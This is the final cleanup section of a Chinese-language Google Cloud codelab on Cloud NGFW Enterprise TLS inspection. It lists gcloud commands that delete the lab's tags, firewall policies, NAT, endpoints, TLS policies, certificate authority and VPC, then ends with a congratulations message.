gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

移除 Tag 键和值：

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

移除 Cloud Firewall 网络政策和关联：

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

删除 Cloud Router 路由器和 Cloud NAT：

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

删除预留的 IP 地址：

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG、关联和 TLS 清理

按以下顺序删除安全配置文件组和威胁配置文件：

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

删除 Cloud Firewall 端点关联：

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

删除 Cloud Firewall 端点，这可能需要大约 20 分钟的时间：

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

（可选）运行以下命令以确认 Cloud NGFW 端点已删除：

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

端点的状态应显示：

STATE: DELETING

完成后，系统将不再列出该端点。

按以下顺序删除 TLS 政策和信任配置：

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

停用并删除根 CA 和 CA 池：

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

子网和 VPC 清理

最后，删除子网和 VPC 网络：

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. 恭喜！

恭喜！您已成功完成“Cloud NGFW Enterprise for East-West and Northbound TLS Inspection”Codelab。